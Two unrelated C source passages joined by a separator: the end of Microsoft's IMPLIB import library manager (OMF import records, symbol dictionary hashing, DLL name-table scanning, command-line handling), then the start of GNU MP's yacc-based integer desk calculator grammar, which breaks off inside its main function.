else if (ext[0] == '.' && ext[1] == '\0')
strcpy(&sbModule[1], fname);
else
_makepath(&sbModule[1], NULL, NULL, fname, ext);
}
else
strcpy(&sbModule[1], fname);
sbModule[0] = (unsigned char) strlen(&sbModule[1]);
}
LOCAL void export(char *sbEntry, char *sbInternal, word ordno, word flags)
{
IMPORT *imp; /* Import definition */
if(fIgnorewep && strcmp(sbEntry+1, "WEP") == 0)
return;
imp = (IMPORT *) alloc(sizeof(IMPORT));
/* Allocate a cell */
if (newimps == NULL) /* If list empty */
newimps = imp; /* Define start of list */
else
I_NEXT(*lastimp) = imp; /* Append it to list */
I_NEXT(*imp) = NULL;
I_EXTNAM(*imp) = sbEntry; /* Save the external name */
I_INTNAM(*imp) = sbInternal; /* Save the internal name */
I_ORD(*imp) = ordno; /* Save the ordinal number */
I_FLAGS(*imp) = flags; /* Save extra flags */
lastimp = imp; /* Save pointer to end of list */
}
/* Output a THEADR record */
LOCAL word theadr(char *sbName)
{
fputc(THEADR,fo);
fputc(sbName[0] + 2,fo);
fputc(0,fo);
fwrite(sbName,sizeof(char),sbName[0] + 1,fo);
fputc(0,fo);
chkerror();
return(sbName[0] + 5);
}
word modend() /* Output a MODEND record */
{
fwrite("\212\002\0\0\0",sizeof(char),5,fo);
/* Write a MODEND record */
chkerror();
return(5); /* It is 5 bytes long */
}
LOCAL void outimpdefs(void)/* Output import definitions */
{
IMPORT *imp; /* Pointer to import record */
word reclen; /* Record length */
word ord; /* Ordinal number */
long lfa; /* File address */
word tlen; /* Length of THEADR */
byte impFlags;
for (imp = newimps; imp != NULL; imp = I_NEXT(*imp))
{ /* Traverse the list */
lfa = ftell(fo); /* Find out where we are */
tlen = theadr(I_EXTNAM(*imp));
/* Output a THEADR record */
// 1 1 1 1 n + 1 n + 1 n + 1 or 2 1
// +---+----+---+-----+-----------+-----------+------------------+---+
// | 0 | A0 | 1 | Flg | Ext. Name | Mod. Name | Int. Name or Ord | 0 |
// +---+----+---+-----+-----------+-----------+------------------+---+
reclen = 4 + sbModule[0] + 1 + I_EXTNAM(*imp)[0] + 1 + 1;
/* Initialize */
ord = I_ORD(*imp);
if (ord != 0)
reclen +=2; /* Two bytes for ordinal number */
else if (I_INTNAM(*imp))
reclen += I_INTNAM(*imp)[0] + 1;
/* Length of internal name */
else
reclen++;
I_ORD(*imp) = (word)(lfa >> 4);
/* Save page number */
++csymsmod; /* Increment symbol count */
cbsyms += (long) I_EXTNAM(*imp)[0] + 4;
/* Increment symbol space count */
fputc(COMENT,fo); /* Comment record */
fputc(reclen & 0xFF,fo); /* Lo-byte of record length */
fputc(reclen >> 8,fo); /* Hi-byte of length */
fputc(0,fo); /* Purgable, listable */
fputc(MSEXT,fo); /* Microsoft OMF extension class */
fputc(IMPDEF,fo); /* IMPort DEFinition record */
impFlags = 0;
if (ord != 0)
impFlags |= 0x1;
if (I_FLAGS(*imp) & 0x1)
impFlags |= 0x2;
fputc(impFlags, fo); /* Import type (name or ordinal or constant) */
fwrite(I_EXTNAM(*imp),sizeof(char),I_EXTNAM(*imp)[0] + 1,fo);
/* Write the external name */
fwrite(sbModule,sizeof(char),sbModule[0] + 1,fo);
/* Write the module name */
if (ord != 0) /* If import by ordinal */
{
fputc(ord & 0xFF,fo); /* Lo-byte of ordinal */
fputc(ord >> 8,fo); /* Hi-byte of ordinal */
}
else if (I_INTNAM(*imp))
fwrite(I_INTNAM(*imp), sizeof(char), I_INTNAM(*imp)[0] + 1, fo);
/* Write internal name */
else
fputc(0, fo); /* No internal name */
fputc(0,fo); /* Checksum byte */
reclen += tlen + modend() + 3; /* Output a MODEND record */
if(reclen &= 0xF) /* If padding needed */
{
reclen = 0x10 - reclen; /* Calculate needed padding */
while(reclen--) fputc(0,fo);/* Pad to page boundary */
}
chkerror();
}
}
/* Compare two symbols */
LOCAL short symeq(char *ps1,char *ps2)
{
int length; /* No. of char.s to compare */
length = *ps1 + 1; /* Take length of first symbol */
if (length != *ps2 + 1)
return(0); /* Length must match */
while(length--) /* While not at end of symbol */
if (fIgnorecase)
{
if (UPPER(*ps1) != UPPER(*ps2))
return(0); /* If not equal, return zero */
++ps1;
++ps2;
}
else if (*ps1++ != *ps2++)
return(0); /* If not equal, return zero */
return(1); /* Symbols match */
}
LOCAL word calclen() /* Calculate dictionary length */
{
word avglen; /* Average entry length */
word avgentries; /* Average no. of entries per page */
word minpages; /* Min. no. of pages in dictionary */
register word i; /* Index variable */
if(!csyms) return(1); /* One page for an empty dictionary */
avglen = (word)(cbsyms/csyms) + 1;
/* Average entry length */
avgentries = (PAGLEN - NBUCKETS - 1)/avglen;
/* Average no. of entries per page */
minpages = (word) csyms/avgentries + 1;
/* Minimum no. of pages in dict. */
if(minpages < (i = (word) csyms/NBUCKETS + 1))
{
minpages = i;
}
else
{
/* Add some extra pages if there is a lot long symbol names */
#define MAXOVERHEAD 10
i = (word)(((avglen+5L) * minpages *4)/(3*PAGLEN)); // The more symbols the larger increase...
if(i>MAXOVERHEAD)
i = MAXOVERHEAD; /* Do not add more than MAXOVERHEAD pages */
minpages += i;
}
/* Insure enough buckets allotted */
i = 0; /* Initialize index */
do /* Look through prime array */
{
if(minpages <= prime[i]) return(prime[i]);
/* Return smallest prime >= minpages */
}
while(prime[i++]); /* Until end of table found */
return(0); /* Too many symbols */
}
/* Initialize Symbol Lookup */
LOCAL void initsl(void)
{
register word i; /* Index variable */
diclength = calclen(); /* Calculate dictionaly length */
for(i = 0; i < diclength; ++i) mpdpnpag[i] = NULL;
/* Initialize page table */
}
LOCAL word ror(word x, word n) /* Rotate right */
{
#if ODDWORDLN
return(((x << (16 - n)) | ((x >> n) & ~(~0 << (16 - n))))
& ~(~0 << 16));
#else
return((x << (16 - n)) | ((x >> n) & ~(~0 << (16 - n))));
#endif
}
LOCAL word rol(word x, word n) /* Rotate left */
{
#if ODDWORDLN
return(((x << n) | ((x >> (16 - n)) & ~(~0 << n))) & ~(~0 << 16));
#else
return((x << n) | ((x >> (16 - n)) & ~(~0 << n)));
#endif
}
LOCAL void hashsym(char *pf, word *pdpi, word *pdpid,word *pdpo, word *pdpod)
{
char *pb; /* Pointer to back of symbol */
register word len; /* Length of symbol */
register word ch; /* Character */
len = *pf; /* Get length */
pb = &pf[len]; /* Get pointer to back */
*pdpi = 0; /* Initialize */
*pdpid = 0; /* Initialize */
*pdpo = 0; /* Initialize */
*pdpod = 0; /* Initialize */
while(len--) /* Loop */
{
ch = *pf++ | 32; /* Force char to lower case */
*pdpi = rol(*pdpi,2) ^ ch; /* Hash */
*pdpod = ror(*pdpod,2) ^ ch; /* Hash */
ch = *pb-- | 32; /* Force char to lower case */
*pdpo = ror(*pdpo,2) ^ ch; /* Hash */
*pdpid = rol(*pdpid,2) ^ ch; /* Hash */
}
*pdpi %= diclength; /* Calculate page index */
if(!(*pdpid %= diclength)) *pdpid = 1;
/* Calculate page index delta */
*pdpo %= NBUCKETS; /* Calculate page bucket no. */
if(!(*pdpod %= NBUCKETS)) *pdpod = 1;
/* Calculate page bucket delta */
}
LOCAL void nullfill(char *pbyte, word length)
{
while(length--) *pbyte++ = '\0'; /* Load with nulls */
}
/*
* Returns:
* -1 Symbol not in dictionary
* 0 Search inconclusive
* 1 Symbol on this page
*/
LOCAL int pagesearch(char *psym, char *dicpage, word *pdpo, word dpod)
{
register word i; /* Index variable */
word dpo; /* Initial bucket number */
dpo = *pdpo; /* Remember starting position */
for(;;) /* Forever */
{
if(i = ((word) dicpage[*pdpo] & 0xFF) << 1)
{ /* If bucket is not empty */
if(symeq(psym,&dicpage[i])) /* If we've found a match */
return(1); /* Found */
else /* Otherwise */
{
if((*pdpo += dpod) >= NBUCKETS) *pdpo -= NBUCKETS;
/* Try next bucket */
if(*pdpo == dpo) return(0);
/* Symbol not on this page */
}
}
else if(dicpage[NBUCKETS] == PAGEFULL) return(0);
/* Search inconclusive */
else return(-1); /* Symbol not in dictionary */
}
}
/* Install symbol in dictionary */
LOCAL word instsym(IMPORT *psym)
{
word dpi; /* Dictionary page index */
word dpid; /* Dictionary page index delta */
word dpo; /* Dictionary page offset */
word dpod; /* Dict. page offset delta */
word dpii; /* Initial dict. page index */
register int erc; /* Error code */
char *dicpage; /* Pointer to dictionary page */
hashsym(I_EXTNAM(*psym),&dpi,&dpid,&dpo,&dpod);
/* Hash the symbol */
dpii = dpi; /* Save initial page index */
for(;;) /* Forever */
{
if(mpdpnpag[dpi] == NULL) /* If page unallocated */
{
mpdpnpag[dpi] = alloc(PAGLEN);
/* Allocate a page */
nullfill(mpdpnpag[dpi],PAGLEN);
/* Fill it with nulls */
mpdpnpag[dpi][NBUCKETS] = FREEWD;
/* Initialize pointer to free space */
}
dicpage = mpdpnpag[dpi]; /* Set pointer to page */
if((erc = pagesearch(I_EXTNAM(*psym),dicpage,&dpo,dpod)) > 0)
return(1); /* Return 1 if symbol in table */
if(erc == -1) /* If empty bucket found */
{
if(((I_EXTNAM(*psym)[0] + 4) >> 1) <
WPP - ((int) dicpage[NBUCKETS] & 0xFF))
{ /* If enough free space on page */
dicpage[dpo] = dicpage[NBUCKETS];
/* Load bucket with pointer */
erc = ((int) dicpage[NBUCKETS] & 0xFF) << 1;
/* Get byte index to free space */
dpi = I_EXTNAM(*psym)[0];
/* Get symbol length */
for(dpo = 0; dpo <= dpi;)
dicpage[erc++] = I_EXTNAM(*psym)[dpo++];
/* Install the symbol text */
dicpage[erc++] = (char)(I_ORD(*psym) & 0xFF);
/* Load low-order byte */
dicpage[erc++] = (char)(I_ORD(*psym) >> 8);
/* Load high-order byte */
if(++erc >= PAGLEN) dicpage[NBUCKETS] = PAGEFULL;
else dicpage[NBUCKETS] = (char)(erc >> 1);
/* Update free word pointer */
return(0); /* Mission accomplished */
}
else dicpage[NBUCKETS] = PAGEFULL;
/* Mark page as full */
}
if((dpi += dpid) >= diclength) dpi -= diclength;
/* Try next page */
if(dpi == dpii) return(2); /* Once around without finding it */
}
}
/* Output empty dictionary page */
LOCAL void nulpagout(void)
{
register word i; /* Counter */
char temp[PAGLEN]; /* Page buffer */
i = 0; /* Initialize */
while(i < NBUCKETS) temp[i++] = '\0';
/* Empty hash table */
temp[i++] = FREEWD; /* Set free word pointer */
while(i < PAGLEN) temp[i++] = '\0'; /* Clear rest of page */
fwrite(temp,1,PAGLEN,fo); /* Write empty page */
chkerror();
}
/* Write dictionary to library */
LOCAL void writedic(void)
{
register IMPORT *imp; /* Symbol record */
word i; /* Index variable */
initsl(); /* Initialize */
for(imp = implist; imp != NULL; imp = I_NEXT(*imp))
{
if(instsym(imp)) /* If symbol already in dictionary */
Error(ER_multdef, &I_EXTNAM(*imp)[1]);
/* Issue error message */
}
for(i = 0; i < diclength; ++i) /* Look through mapping table */
{
if(mpdpnpag[i] != NULL) pagout(mpdpnpag[i]);
/* Write page if it exists */
else nulpagout(); /* Else write an empty page */
}
chkerror();
}
LOCAL void DisplayBanner(void)
{
if (!fBannerOnScreen)
{
fprintf( stdout, "\nMicrosoft (R) Import Library Manager NtGroup "VERSION_STRING );
fputs("\nCopyright (C) Microsoft Corp 1984-1996. All rights reserved.\n\n", stdout);
fflush(stdout);
fBannerOnScreen = 1;
#if C8_IDE
if(fC8IDE)
{ sprintf(msgBuf, "@I0\r\n");
_write(_fileno(stderr), msgBuf, strlen(msgBuf));
sprintf(msgBuf, "@I1Microsoft (R) Import Library Manager "VERSION_STRING"\r\n" );
_write(_fileno(stderr), msgBuf, strlen(msgBuf));
sprintf(msgBuf, "@I2Copyright (C) Microsoft Corp 1984-1992. All rights reserved.\r\n");
_write(_fileno(stderr), msgBuf, strlen(msgBuf));
}
#endif
}
}
/****************************************************************
* *
* IsPrefix: *
* *
* This function takes as its arguments a pointer to a *
* null-terminated character string and a pointer to a second *
* null-terminated character string. The function returns *
* true if the first string is a prefix of the second; *
* otherwise, it returns false. *
* *
****************************************************************/
LOCAL int IsPrefix(char *prefix, char *s)
{
while(*prefix) /* While not at end of prefix */
{
if(UPPER(*prefix) != UPPER(*s)) return(0);
/* Return zero if mismatch */
++prefix; /* Increment pointer */
++s; /* Increment pointer */
}
return(1); /* We have a prefix */
}
/*** ScanTable - build list of exports
*
* Purpose:
* Scans Resident or Nonresident Name Table, Entry Table and
* builds list of exported entries.
*
* Input:
* pbTable - pointer to Name Table
* cbTable - size of Name Table
* fNoRes - TRUE if non resident name table
*
* Output:
* List of exported entries by DLL.
*
* Exceptions:
* None.
*
* Notes:
* None.
*
*************************************************************************/
LOCAL void ScanTable(word cbTable, int fNoRes)
{
word eno;
char buffer[256];
register char *pch;
register byte *pb;
byte *pTable;
pb = alloc(cbTable);
pTable = pb;
fread(pb, sizeof(char), cbTable, fi);
while(cbTable != 0)
{
/* Get exported name length - if zero continue */
--cbTable;
if (!(eno = (word) *pb++ & 0xff))
break;
cbTable -= eno + 2;
/* Copy name - length prefixed */
pch = &buffer[1];
buffer[0] = (byte) eno;
while(eno--)
*pch++ = *pb++;
*pch = '\0';
/* Get ordinal */
eno = ((word) pb[0] & 0xff) + (((word) pb[1] & 0xff) << 8);
pb += 2;
/* If WEP and fIgnorewep is TRUE, ignore this symbol */
if(fIgnorewep && strcmp(&buffer[1], "WEP") == 0)
continue;
if (eno != 0)
{
pch = alloc((word)(buffer[0] + 1));
strncpy(pch, buffer, buffer[0] + 1);
// If Implib is run on a DLL, it exports symbols:
// - by names for symbols in the resident name table
// - by ordinal for symbols in the non-resident name table
export(pch, pch, (word)(fNoRes ? eno : 0), (word)0);
}
else if (!fNoRes)
strncpy(sbModule, buffer, buffer[0] + 1);
/* eno == 0 && !fNoRes --> module name */
}
if (cbTable != 0)
Error(ER_baddll);
free(pTable);
}
/*** ProcessDLL - extract information about exports from DLL
*
* Purpose:
* Read in header of DLL and create list of exported entries.
*
* Input:
* lfahdr - seek offset to segmented executable header.
*
* Output:
* List of exported entries by DLL.
*
* Exceptions:
* None.
*
* Notes:
* None.
*
*************************************************************************/
LOCAL void ProcessDLL(long lfahdr)
{
struct new_exe hdr; /* .EXE header */
fseek(fi, lfahdr, SEEK_SET);
fread(&hdr, sizeof(char), sizeof(struct new_exe), fi);
if(NE_CSEG(hdr) != 0)
{
/* If there are segments - read in tables */
if (NE_MODTAB(hdr) > NE_RESTAB(hdr))
{
/* Process resident names table */
fseek(fi, lfahdr + NE_RESTAB(hdr), SEEK_SET);
ScanTable((word)(NE_MODTAB(hdr) - NE_RESTAB(hdr)), 0);
}
if (NE_CBNRESTAB(hdr) != 0)
{
/* Process non-resident names table */
fseek(fi, (long) NE_NRESTAB(hdr), SEEK_SET);
ScanTable(NE_CBNRESTAB(hdr), 1);
}
}
}
/* Print usage message */
void usage(int fShortHelp)
{
int nRetCode;
#if NOT C8_IDE
// in C8 implib /? == /HELP
if (!fShortHelp)
{
nRetCode = spawnlp(P_WAIT, "qh", "qh", "/u implib.exe", NULL);
fShortHelp = nRetCode<0 || nRetCode==3;
}
if (fShortHelp)
#endif
{
DisplayBanner();
fprintf(stderr,"%s\n", GET_MSG(M_usage1));
fprintf(stderr,"%s\n", GET_MSG(M_usage2));
fprintf(stderr," %s\n", GET_MSG(M_usage3));
// fprintf(stderr," %s\n", GET_MSG(M_usage4));
fprintf(stderr," %s\n", GET_MSG(M_usage8));
fprintf(stderr," %s\n", GET_MSG(M_usage5));
fprintf(stderr," %s\n", GET_MSG(M_usage6));
fprintf(stderr," %s\n", GET_MSG(M_usage7));
}
exit(0);
}
void cdecl main(int argc, char *argv[]) /* Parse the definitions file */
{
int i; /* Counter */
long lfadic; /* File address of dictionary */
int iArg; /* Argument index */
word magic; /* Magic number */
struct exe_hdr exe; /* Old .EXE header */
int fNologo;
char drive[_MAX_DRIVE], dir[_MAX_DIR]; /* Needed for _splitpath */
char fname[_MAX_FNAME], ext[_MAX_EXT];
int fDefdllfound = 0; /* Flag will be set if the user
specifies dll/def file */
#if C8_IDE
char *pIDE = getenv("_MSC_IDE_FLAGS");
#endif
exitCode = 0;
fNologo = 0;
iArg = 1;
#if C8_IDE
if(pIDE)
{
if(strstr(pIDE, "FEEDBACK"))
{
fC8IDE = TRUE;
#if DEBUG_IDE
fprintf(stdout, "\r\nIDE ACTIVE - FEEDBACK is ON");
#endif
}
}
#endif
if (argc > 1)
{
while (iArg < argc && (argv[iArg][0] == '-' || argv[iArg][0] == '/'))
{
if (argv[iArg][1] == '?')
usage(1);
else if (IsPrefix(&argv[iArg][1], "help"))
usage(0);
else if(IsPrefix(&argv[iArg][1], "ignorecase"))
fIgnorecase = 1;
else if(IsPrefix(&argv[iArg][1], "noignorecase"))
fIgnorecase = 0;
else if(IsPrefix(&argv[iArg][1], "nologo"))
fNologo = 1;
else if(IsPrefix(&argv[iArg][1], "ntdll"))
fNTdll = 1;
else if(IsPrefix(&argv[iArg][1], "nowep"))
fIgnorewep = 1;
else
Error(ER_badoption, argv[iArg]);
iArg++;
}
}
else
{
DisplayBanner();
exit(exitCode); /* All done */
}
if (!fNologo)
DisplayBanner();
_splitpath( argv[iArg], drive, dir, fname, ext );
if(!_stricmp(ext,".DEF")||!_stricmp(ext,".DLL")) /* Ext. not allowed-bug #3*/
{
Fatal(ER_badtarget, ext);
}
#if C8_IDE
if(fC8IDE)
{
sprintf(msgBuf, "@I3%s\r\n", GET_MSG(M_IDEco));
_write(_fileno(stderr), msgBuf, strlen(msgBuf));
sprintf(msgBuf, "@I4%s\r\n", argv[iArg]);
_write(_fileno(stderr), msgBuf, strlen(msgBuf));
}
#endif
if((fo = fopen(argv[iArg],WRBIN)) == NULL)
{ /* If open fails */
Fatal(ER_badcreate, argv[iArg], strerror(errno));
}
for(i = 0; i < 16; ++i) fputc(0,fo);/* Skip zeroth page for now */
chkerror();
implist = NULL; /* Initialize */
csyms = 0;
cbsyms = 0L;
#if C8_IDE
if(fC8IDE)
{
sprintf(msgBuf, "@I3%s\r\n", GET_MSG(M_IDEri));
_write(_fileno(stderr), msgBuf, strlen(msgBuf));
}
#endif
for(iArg++; iArg < argc; ++iArg)
{
if (argv[iArg][0] == '-' || argv[iArg][0] == '/')
{
fIgnorecase = IsPrefix(&argv[iArg][1], "ignorecase");
iArg++;
continue;
}
#if C8_IDE
if(fC8IDE)
{
sprintf(msgBuf, "@I4%s\r\n",argv[iArg]);
_write(_fileno(stderr), msgBuf, strlen(msgBuf));
}
#endif
if((fi = fopen(defname = argv[iArg],RDBIN)) == NULL)
{ /* If open fails */
Fatal(ER_badopen, argv[iArg], strerror(errno));
/* Print error message */
}
fDefdllfound = 1;
newimps = NULL; /* Initialize */
lastimp = NULL; /* Initialize */
csymsmod = 0; /* Initialize */
fread(&exe, 1, sizeof(struct exe_hdr), fi);
/* Read old .EXE header */
if(E_MAGIC(exe) == EMAGIC) /* If old header found */
{
if(E_LFARLC(exe) == sizeof(struct exe_hdr))
{
fseek(fi, E_LFANEW(exe), 0);
/* Read magic number */
magic = (word) (getc(fi) & 0xff);
magic += (word) ((getc(fi) & 0xff) << 8);
if (magic == NEMAGIC)
ProcessDLL(E_LFANEW(exe));
/* Scan .DLL */
else
{
Error(ER_baddll1, argv[iArg]);
}
}
else
{
Error(ER_baddll1, argv[iArg]);
}
}
else
{
fseek(fi, 0L, SEEK_SET);
yyparse(); /* Parse the definitions file */
}
fclose(fi); /* Close the definitions file */
if(newimps != NULL) /* If at least one new IMPDEF */
{
outimpdefs(); /* Output the library modules */
I_NEXT(*lastimp) = implist; /* Concatenate lists */
implist = newimps; /* New head of list */
csyms += csymsmod; /* Increment symbol count */
}
}
if (!fDefdllfound) /* No .def or .dll source was given */
Fatal(ER_nosource);
if(i = (int)((ftell(fo) + 4) & (PAGLEN - 1))) i = PAGLEN - i;
/* Calculate padding needed */
++i; /* One for the checksum */
fputc(DICHDR,fo); /* Dictionary header */
fputc(i & 0xFF,fo); /* Lo-byte */
fputc(i >> 8,fo); /* Hi-byte */
while(i--) fputc(0,fo); /* Padding */
lfadic = ftell(fo); /* Get dictionary offset */
writedic(); /* Write the dictionary */
fseek(fo,0L,0); /* Seek to header */
fputc(LIBHDR,fo); /* Library header */
fputc(13,fo); /* Length */
fputc(0,fo); /* Length */
fputc((int)(lfadic & 0xFF),fo); /* Dictionary offset */
fputc((int)((lfadic >> 8) & 0xFF),fo);
/* Dictionary offset */
fputc((int)((lfadic >> 16) & 0xFF),fo);
/* Dictionary offset */
fputc((int)(lfadic >> 24),fo); /* Dictionary offset */
fputc(diclength & 0xFF,fo); /* Dictionary length */
fputc(diclength >> 8,fo); /* Dictionary length */
if (fIgnorecase) /* Dictionary case sensivity */
fputc(0, fo);
else
fputc(1, fo);
chkerror();
fclose(fo); /* Close the library */
exit(exitCode); /* All done */
}
|
%{
/* A simple integer desk calculator using yacc and gmp.
Copyright 2000, 2001, 2002 Free Software Foundation, Inc.
This file is part of the GNU MP Library.
This program is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free Software
Foundation; either version 3 of the License, or (at your option) any later
version.
This program is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE. See the GNU General Public License for more details.
You should have received a copy of the GNU General Public License along with
this program. If not, see http://www.gnu.org/licenses/. */
/* This is a simple program, meant only to show one way to use GMP for this
sort of thing. There's few features, and error checking is minimal.
Standard input is read, calc_help() below shows the inputs accepted.
Expressions are evaluated as they're read. If user defined functions
were wanted it'd be necessary to build a parse tree like pexpr.c does, or
a list of operations for a stack based evaluator. That would also make
it possible to detect and optimize evaluations "mod m" like pexpr.c does.
A stack is used for intermediate values in the expression evaluation,
separate from the yacc parser stack. This is simple, makes error
recovery easy, minimizes the junk around mpz calls in the rules, and
saves initializing or clearing "mpz_t"s during a calculation. A
disadvantage though is that variables must be copied to the stack to be
worked on. A more sophisticated calculator or language system might be
able to avoid that when executing a compiled or semi-compiled form.
Avoiding repeated initializing and clearing of "mpz_t"s is important. In
this program the time spent parsing is obviously much greater than any
possible saving from this, but a proper calculator or language should
take some trouble over it. Don't be surprised if an init/clear takes 3
or more times as long as a 10 limb addition, depending on the system (see
the mpz_init_realloc_clear example in tune/README). */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "gmp.h"
#define NO_CALC_H /* because it conflicts with normal calc.c stuff */
#include "calc-common.h"
#define numberof(x) (sizeof (x) / sizeof ((x)[0]))
void
calc_help (void)
{
printf ("Examples:\n");
printf (" 2+3*4 expressions are evaluated\n");
printf (" x=5^6 variables a to z can be set and used\n");
printf ("Operators:\n");
printf (" + - * arithmetic\n");
printf (" / %% division and remainder (rounding towards negative infinity)\n");
printf (" ^ exponentiation\n");
printf (" ! factorial\n");
printf (" << >> left and right shifts\n");
printf (" <= >= > \\ comparisons, giving 1 if true, 0 if false\n");
printf (" == != < /\n");
printf (" && || logical and/or, giving 1 if true, 0 if false\n");
printf ("Functions:\n");
printf (" abs(n) absolute value\n");
printf (" bin(n,m) binomial coefficient\n");
printf (" fib(n) fibonacci number\n");
printf (" gcd(a,b,..) greatest common divisor\n");
printf (" kron(a,b) kronecker symbol\n");
printf (" lcm(a,b,..) least common multiple\n");
printf (" lucnum(n) lucas number\n");
printf (" nextprime(n) next prime after n\n");
printf (" powm(b,e,m) modulo powering, b^e%%m\n");
printf (" root(n,r) r-th root\n");
printf (" sqrt(n) square root\n");
printf ("Other:\n");
printf (" hex \\ set hex or decimal for input and output\n");
printf (" decimal / (\"0x\" can be used for hex too)\n");
printf (" quit exit program (EOF works too)\n");
printf (" ; statements are separated with a ; or newline\n");
printf (" \\ continue expressions with \\ before newline\n");
printf (" # xxx comments are # though to newline\n");
printf ("Hex numbers must be entered in upper case, to distinguish them from the\n");
printf ("variables a to f (like in bc).\n");
}
int ibase = 0;
int obase = 10;
/* The stack is a fixed size, which means there's a limit on the nesting
allowed in expressions. A more sophisticated program could let it grow
dynamically. */
mpz_t stack[100];
mpz_ptr sp = stack[0];
#define CHECK_OVERFLOW() \
if (sp >= stack[numberof(stack)]) /* FIXME */ \
{ \
fprintf (stderr, \
"Value stack overflow, too much nesting in expression\n"); \
YYERROR; \
}
#define CHECK_EMPTY() \
if (sp != stack[0]) \
{ \
fprintf (stderr, "Oops, expected the value stack to be empty\n"); \
sp = stack[0]; \
}
mpz_t variable[26];
#define CHECK_VARIABLE(var) \
if ((var) < 0 || (var) >= numberof (variable)) \
{ \
fprintf (stderr, "Oops, bad variable somehow: %d\n", var); \
YYERROR; \
}
#define CHECK_UI(name,z) \
if (! mpz_fits_ulong_p (z)) \
{ \
fprintf (stderr, "%s too big\n", name); \
YYERROR; \
}
%}
%union {
char *str;
int var;
}
%token EOS BAD
%token HELP HEX DECIMAL QUIT
%token ABS BIN FIB GCD KRON LCM LUCNUM NEXTPRIME POWM ROOT SQRT
%token <str> NUMBER
%token <var> VARIABLE
/* operators, increasing precedence */
%left LOR
%left LAND
%nonassoc '<' '>' EQ NE LE GE
%left LSHIFT RSHIFT
%left '+' '-'
%left '*' '/' '%'
%nonassoc UMINUS
%right '^'
%nonassoc '!'
%%
top:
statement
| statements statement;
statements:
statement EOS
| statements statement EOS
| error EOS { sp = stack[0]; yyerrok; };
statement:
/* empty */
| e {
mpz_out_str (stdout, obase, sp); putchar ('\n');
sp--;
CHECK_EMPTY ();
}
| VARIABLE '=' e {
CHECK_VARIABLE ($1);
mpz_swap (variable[$1], sp);
sp--;
CHECK_EMPTY ();
}
| HELP { calc_help (); }
| HEX { ibase = 16; obase = -16; }
| DECIMAL { ibase = 0; obase = 10; }
| QUIT { exit (0); };
/* "e" leaves it's value on the top of the mpz stack. A rule like "e '+' e"
will have done a reduction for the first "e" first and the second "e"
second, so the code receives the values in that order on the stack. */
e:
'(' e ')' /* value on stack */
| e '+' e { sp--; mpz_add (sp, sp, sp+1); }
| e '-' e { sp--; mpz_sub (sp, sp, sp+1); }
| e '*' e { sp--; mpz_mul (sp, sp, sp+1); }
| e '/' e { sp--; mpz_fdiv_q (sp, sp, sp+1); }
| e '%' e { sp--; mpz_fdiv_r (sp, sp, sp+1); }
| e '^' e { CHECK_UI ("Exponent", sp);
sp--; mpz_pow_ui (sp, sp, mpz_get_ui (sp+1)); }
| e LSHIFT e { CHECK_UI ("Shift count", sp);
sp--; mpz_mul_2exp (sp, sp, mpz_get_ui (sp+1)); }
| e RSHIFT e { CHECK_UI ("Shift count", sp);
sp--; mpz_fdiv_q_2exp (sp, sp, mpz_get_ui (sp+1)); }
| e '!' { CHECK_UI ("Factorial", sp);
mpz_fac_ui (sp, mpz_get_ui (sp)); }
| '-' e %prec UMINUS { mpz_neg (sp, sp); }
| e '<' e { sp--; mpz_set_ui (sp, mpz_cmp (sp, sp+1) < 0); }
| e LE e { sp--; mpz_set_ui (sp, mpz_cmp (sp, sp+1) <= 0); }
| e EQ e { sp--; mpz_set_ui (sp, mpz_cmp (sp, sp+1) == 0); }
| e NE e { sp--; mpz_set_ui (sp, mpz_cmp (sp, sp+1) != 0); }
| e GE e { sp--; mpz_set_ui (sp, mpz_cmp (sp, sp+1) >= 0); }
| e '>' e { sp--; mpz_set_ui (sp, mpz_cmp (sp, sp+1) > 0); }
| e LAND e { sp--; mpz_set_ui (sp, mpz_sgn (sp) && mpz_sgn (sp+1)); }
| e LOR e { sp--; mpz_set_ui (sp, mpz_sgn (sp) || mpz_sgn (sp+1)); }
| ABS '(' e ')' { mpz_abs (sp, sp); }
| BIN '(' e ',' e ')' { sp--; CHECK_UI ("Binomial base", sp+1);
mpz_bin_ui (sp, sp, mpz_get_ui (sp+1)); }
| FIB '(' e ')' { CHECK_UI ("Fibonacci", sp);
mpz_fib_ui (sp, mpz_get_ui (sp)); }
| GCD '(' gcdlist ')' /* value on stack */
| KRON '(' e ',' e ')' { sp--; mpz_set_si (sp,
mpz_kronecker (sp, sp+1)); }
| LCM '(' lcmlist ')' /* value on stack */
| LUCNUM '(' e ')' { CHECK_UI ("Lucas number", sp);
mpz_lucnum_ui (sp, mpz_get_ui (sp)); }
| NEXTPRIME '(' e ')' { mpz_nextprime (sp, sp); }
| POWM '(' e ',' e ',' e ')' { sp -= 2; mpz_powm (sp, sp, sp+1, sp+2); }
| ROOT '(' e ',' e ')' { sp--; CHECK_UI ("Nth-root", sp+1);
mpz_root (sp, sp, mpz_get_ui (sp+1)); }
| SQRT '(' e ')' { mpz_sqrt (sp, sp); }
| VARIABLE {
sp++;
CHECK_OVERFLOW ();
CHECK_VARIABLE ($1);
mpz_set (sp, variable[$1]);
}
| NUMBER {
sp++;
CHECK_OVERFLOW ();
if (mpz_set_str (sp, $1, ibase) != 0)
{
fprintf (stderr, "Invalid number: %s\n", $1);
YYERROR;
}
};
gcdlist:
e /* value on stack */
| gcdlist ',' e { sp--; mpz_gcd (sp, sp, sp+1); };
lcmlist:
e /* value on stack */
| lcmlist ',' e { sp--; mpz_lcm (sp, sp, sp+1); };
%%
yyerror (char *s)
{
fprintf (stderr, "%s\n", s);
}
int calc_option_readline = -1;
int
main (int argc, char *argv[])
{
int i;
for (i = 1; i < argc; i++)
{
if (strcmp (argv[i], "--readline") == 0)
calc_option_readline = 1;
else if (strcmp (argv[i], "--noreadline") == 0)
calc_option_readline = 0;
else if (strcmp (argv[i], "--help") == 0)
{
printf ("Usage: calc [--option]...\n");
printf (" --readline use readline\n");
printf (" --noreadline don't use readline\n");
printf (" --help this message\n");
printf ("Readline is only available when compiled in,\n");
printf ("and in that case it's the default on a tty.\n");
exit (0);
}
else
{
fprintf (stderr, "Unrecognised option: %s\n", argv[i]);
exit (1);
}
}
#if WITH_READLINE
calc_init_readline ();
#else
if (calc_option_readline == 1)
{
fprintf (stderr, "Readline support not available\n");
exit (1);
}
#endif
for (i = 0; i < numberof (variable); i++)
mpz_init (variable[i]);
